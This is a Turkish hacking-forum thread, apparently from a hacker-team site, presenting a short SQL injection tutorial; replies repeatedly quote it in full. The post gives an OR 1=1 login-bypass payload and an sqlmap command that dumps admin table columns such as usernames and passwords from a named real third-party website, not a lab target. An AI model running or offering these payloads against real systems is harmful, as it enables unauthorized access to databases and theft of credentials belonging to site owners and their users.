SQL İnjection Manuel Komutlar Part - 1

SQL İnjection ; SQL enjeksiyonu veri tabanından yapılan sorgulama işlemini hedef alan bir saldırı şeklidir. Bu saldırı şeklinde sorgulama dili yapısı kullanılarak saldırı gerçekleştirilir. Bir web uygulamasının kullanıcı adı ve şifre ikilisi veri tabanına ( URL VERİSİ ) “SELECT * FROM TABLE_PERSONEL WHERE username = '" + kullanıcı adı + "' AND password= '" +şifre+ "'” şeklinde gönderildiğinde (“ ”) işaretleri içindeki veri bir filtrelemeye tabi tutulmazsa kullanıcının buraya yazacağı ( OR ''1= ) eklinde bir ifade sorguyu “SELECT * FROM TABLE_PERSONEL 6 WHERE username = '' OR ''1=1'' AND Password = '' OR ''1=1''” haline getirir. Bu durumda sorgudan var olan bütün kayıtlar dönecektir veya bypass kodlar PASS:TURKHACKTEAM kullanarak admin panelde kullanıcı adı kısmına yazıp şifreye ne yazarsak yazalım giriş sağlamamıza yarayacaktır.​

​

KALİ ÜZERİNDEN SQLMAP İLE DB DUMP;​

Kod:

sqlmap -u "https://spog.co.id/index.php?action=newsmore&id=1" -D (database adı) -T (tablo adı örneğin: admin) -C (Colon İsimleri Örneğin: id,username,password) --dump

​

Bu şekilde önce sql map ile manuel taratabilirsiniz ki tavsiyem budur,Eğer uğraşmak istemiyorsanız kaliyi de kullanabilirsiniz tabii ama naçizane tavsiyem kendinizi manuel tarama için geliştirmenizdir çünkü ileride kaliden daha hızlı davranmanızı sağlayacak.​

​

​

SQLMAP COLUMNS TABLES ÖRNEĞİ BUNUN DATABASE VERSİYONUNU DÜŞÜNEBİLİRSİNİZ!​

​

​

MANUEL SQL İNJECTİON ÖRNEĞİ :​

​

NOT: PART 2 DE HTML İNJECTİON VAR​

anonim5' Alıntı:

Elinize sağlık

Genişletmek için tıkla ...

Clen1x_' Alıntı:

SQL İnjection ; SQL enjeksiyonu veri tabanından yapılan sorgulama işlemini hedef alan bir saldırı şeklidir. Bu saldırı şeklinde sorgulama dili yapısı kullanılarak saldırı gerçekleştirilir. Bir web uygulamasının kullanıcı adı ve şifre ikilisi veri tabanına ( URL VERİSİ ) “SELECT * FROM TABLE_PERSONEL WHERE username = '" + kullanıcı adı + "' AND password= '" +şifre+ "'” şeklinde gönderildiğinde (“ ”) işaretleri içindeki veri bir filtrelemeye tabi tutulmazsa kullanıcının buraya yazacağı ( OR ''1= ) eklinde bir ifade sorguyu “SELECT * FROM TABLE_PERSONEL 6 WHERE username = '' OR ''1=1'' AND Password = '' OR ''1=1''” haline getirir. Bu durumda sorgudan var olan bütün kayıtlar dönecektir veya bypass kodlar PASS:TURKHACKTEAM kullanarak admin panelde kullanıcı adı kısmına yazıp şifreye ne yazarsak yazalım giriş sağlamamıza yarayacaktır.​

​

KALİ ÜZERİNDEN SQLMAP İLE DB DUMP;​

Kod:

sqlmap -u "https://spog.co.id/index.php?action=newsmore&id=1" -D (database adı) -T (tablo adı örneğin: admin) -C (Colon İsimleri Örneğin: id,username,password) --dump

​

Bu şekilde önce sql map ile manuel taratabilirsiniz ki tavsiyem budur,Eğer uğraşmak istemiyorsanız kaliyi de kullanabilirsiniz tabii ama naçizane tavsiyem kendinizi manuel tarama için geliştirmenizdir çünkü ileride kaliden daha hızlı davranmanızı sağlayacak.​

​

​

SQLMAP COLUMNS TABLES ÖRNEĞİ BUNUN DATABASE VERSİYONUNU DÜŞÜNEBİLİRSİNİZ!​

​

​

MANUEL SQL İNJECTİON ÖRNEĞİ :​

​

Genişletmek için tıkla ...

'PİON' Alıntı:

Eline sağlık

Genişletmek için tıkla ...

Clen1x_' Alıntı:

SQL İnjection ; SQL enjeksiyonu veri tabanından yapılan sorgulama işlemini hedef alan bir saldırı şeklidir. Bu saldırı şeklinde sorgulama dili yapısı kullanılarak saldırı gerçekleştirilir. Bir web uygulamasının kullanıcı adı ve şifre ikilisi veri tabanına ( URL VERİSİ ) “SELECT * FROM TABLE_PERSONEL WHERE username = '" + kullanıcı adı + "' AND password= '" +şifre+ "'” şeklinde gönderildiğinde (“ ”) işaretleri içindeki veri bir filtrelemeye tabi tutulmazsa kullanıcının buraya yazacağı ( OR ''1= ) eklinde bir ifade sorguyu “SELECT * FROM TABLE_PERSONEL 6 WHERE username = '' OR ''1=1'' AND Password = '' OR ''1=1''” haline getirir. Bu durumda sorgudan var olan bütün kayıtlar dönecektir veya bypass kodlar PASS:TURKHACKTEAM kullanarak admin panelde kullanıcı adı kısmına yazıp şifreye ne yazarsak yazalım giriş sağlamamıza yarayacaktır.​

​

KALİ ÜZERİNDEN SQLMAP İLE DB DUMP;​

Kod:

sqlmap -u "https://spog.co.id/index.php?action=newsmore&id=1" -D (database adı) -T (tablo adı örneğin: admin) -C (Colon İsimleri Örneğin: id,username,password) --dump

​

Bu şekilde önce sql map ile manuel taratabilirsiniz ki tavsiyem budur,Eğer uğraşmak istemiyorsanız kaliyi de kullanabilirsiniz tabii ama naçizane tavsiyem kendinizi manuel tarama için geliştirmenizdir çünkü ileride kaliden daha hızlı davranmanızı sağlayacak.​

​

​

SQLMAP COLUMNS TABLES ÖRNEĞİ BUNUN DATABASE VERSİYONUNU DÜŞÜNEBİLİRSİNİZ!​

​

​

MANUEL SQL İNJECTİON ÖRNEĞİ :​

​

Genişletmek için tıkla ...

zeores' Alıntı:

Elinize sağlık hocam.

Genişletmek için tıkla ...

lyxG' Alıntı:

ellerine sağlık

Genişletmek için tıkla ...

'pump' Alıntı:

Dostum başlığa göre konun çok çok eksik, belki 2. konuda yazicaksin, ama 2. konunun uzunluğu da bu kadar olucaksa senin 10000 tane konu açman gerekebilir, seri halinda anlaticaksan, o yuzden biraz daha uzun tutsan ve diger sql çesitlerinin sorgu mantığına değinsen hoş olurdu.
Eline sağlık yinede..

Genişletmek için tıkla ...

Clen1x_' Alıntı:

SQL İnjection ; SQL enjeksiyonu veri tabanından yapılan sorgulama işlemini hedef alan bir saldırı şeklidir. Bu saldırı şeklinde sorgulama dili yapısı kullanılarak saldırı gerçekleştirilir. Bir web uygulamasının kullanıcı adı ve şifre ikilisi veri tabanına ( URL VERİSİ ) “SELECT * FROM TABLE_PERSONEL WHERE username = '" + kullanıcı adı + "' AND password= '" +şifre+ "'” şeklinde gönderildiğinde (“ ”) işaretleri içindeki veri bir filtrelemeye tabi tutulmazsa kullanıcının buraya yazacağı ( OR ''1= ) eklinde bir ifade sorguyu “SELECT * FROM TABLE_PERSONEL 6 WHERE username = '' OR ''1=1'' AND Password = '' OR ''1=1''” haline getirir. Bu durumda sorgudan var olan bütün kayıtlar dönecektir veya bypass kodlar PASS:TURKHACKTEAM kullanarak admin panelde kullanıcı adı kısmına yazıp şifreye ne yazarsak yazalım giriş sağlamamıza yarayacaktır.​

​

KALİ ÜZERİNDEN SQLMAP İLE DB DUMP;​

Kod:

sqlmap -u "https://spog.co.id/index.php?action=newsmore&id=1" -D (database adı) -T (tablo adı örneğin: admin) -C (Colon İsimleri Örneğin: id,username,password) --dump

​

Bu şekilde önce sql map ile manuel taratabilirsiniz ki tavsiyem budur,Eğer uğraşmak istemiyorsanız kaliyi de kullanabilirsiniz tabii ama naçizane tavsiyem kendinizi manuel tarama için geliştirmenizdir çünkü ileride kaliden daha hızlı davranmanızı sağlayacak.​

​

​

SQLMAP COLUMNS TABLES ÖRNEĞİ BUNUN DATABASE VERSİYONUNU DÜŞÜNEBİLİRSİNİZ!​

​

​

MANUEL SQL İNJECTİON ÖRNEĞİ :​

​

NOT: PART 2 DE HTML İNJECTİON VAR​

Genişletmek için tıkla ...

Clen1x_' Alıntı:

SQL İnjection ; SQL enjeksiyonu veri tabanından yapılan sorgulama işlemini hedef alan bir saldırı şeklidir. Bu saldırı şeklinde sorgulama dili yapısı kullanılarak saldırı gerçekleştirilir. Bir web uygulamasının kullanıcı adı ve şifre ikilisi veri tabanına ( URL VERİSİ ) “SELECT * FROM TABLE_PERSONEL WHERE username = '" + kullanıcı adı + "' AND password= '" +şifre+ "'” şeklinde gönderildiğinde (“ ”) işaretleri içindeki veri bir filtrelemeye tabi tutulmazsa kullanıcının buraya yazacağı ( OR ''1= ) eklinde bir ifade sorguyu “SELECT * FROM TABLE_PERSONEL 6 WHERE username = '' OR ''1=1'' AND Password = '' OR ''1=1''” haline getirir. Bu durumda sorgudan var olan bütün kayıtlar dönecektir veya bypass kodlar PASS:TURKHACKTEAM kullanarak admin panelde kullanıcı adı kısmına yazıp şifreye ne yazarsak yazalım giriş sağlamamıza yarayacaktır.​

​

KALİ ÜZERİNDEN SQLMAP İLE DB DUMP;​

Kod:

sqlmap -u "https://spog.co.id/index.php?action=newsmore&id=1" -D (database adı) -T (tablo adı örneğin: admin) -C (Colon İsimleri Örneğin: id,username,password) --dump

​

Bu şekilde önce sql map ile manuel taratabilirsiniz ki tavsiyem budur,Eğer uğraşmak istemiyorsanız kaliyi de kullanabilirsiniz tabii ama naçizane tavsiyem kendinizi manuel tarama için geliştirmenizdir çünkü ileride kaliden daha hızlı davranmanızı sağlayacak.​

​

​

SQLMAP COLUMNS TABLES ÖRNEĞİ BUNUN DATABASE VERSİYONUNU DÜŞÜNEBİLİRSİNİZ!​

​

​

MANUEL SQL İNJECTİON ÖRNEĞİ :​

​

NOT: PART 2 DE HTML İNJECTİON VAR​

Genişletmek için tıkla ...

Clen1x_' Alıntı:

SQL İnjection ; SQL enjeksiyonu veri tabanından yapılan sorgulama işlemini hedef alan bir saldırı şeklidir. Bu saldırı şeklinde sorgulama dili yapısı kullanılarak saldırı gerçekleştirilir. Bir web uygulamasının kullanıcı adı ve şifre ikilisi veri tabanına ( URL VERİSİ ) “SELECT * FROM TABLE_PERSONEL WHERE username = '" + kullanıcı adı + "' AND password= '" +şifre+ "'” şeklinde gönderildiğinde (“ ”) işaretleri içindeki veri bir filtrelemeye tabi tutulmazsa kullanıcının buraya yazacağı ( OR ''1= ) eklinde bir ifade sorguyu “SELECT * FROM TABLE_PERSONEL 6 WHERE username = '' OR ''1=1'' AND Password = '' OR ''1=1''” haline getirir. Bu durumda sorgudan var olan bütün kayıtlar dönecektir veya bypass kodlar PASS:TURKHACKTEAM kullanarak admin panelde kullanıcı adı kısmına yazıp şifreye ne yazarsak yazalım giriş sağlamamıza yarayacaktır.​

​

KALİ ÜZERİNDEN SQLMAP İLE DB DUMP;​

Kod:

sqlmap -u "https://spog.co.id/index.php?action=newsmore&id=1" -D (database adı) -T (tablo adı örneğin: admin) -C (Colon İsimleri Örneğin: id,username,password) --dump

​

Bu şekilde önce sql map ile manuel taratabilirsiniz ki tavsiyem budur,Eğer uğraşmak istemiyorsanız kaliyi de kullanabilirsiniz tabii ama naçizane tavsiyem kendinizi manuel tarama için geliştirmenizdir çünkü ileride kaliden daha hızlı davranmanızı sağlayacak.​

​

​

SQLMAP COLUMNS TABLES ÖRNEĞİ BUNUN DATABASE VERSİYONUNU DÜŞÜNEBİLİRSİNİZ!​

​

​

MANUEL SQL İNJECTİON ÖRNEĞİ :​

​

NOT: PART 2 DE HTML İNJECTİON VAR​

Genişletmek için tıkla ...

LydexCoding' Alıntı:

Ellerinize sağlık hocam, güzel bir anlatım olmuş.En sondaki görselin boyutunu biraz küçültebilirsiniz

Genişletmek için tıkla ...

Clen1x_' Alıntı:

Ortalayamadım

Genişletmek için tıkla ...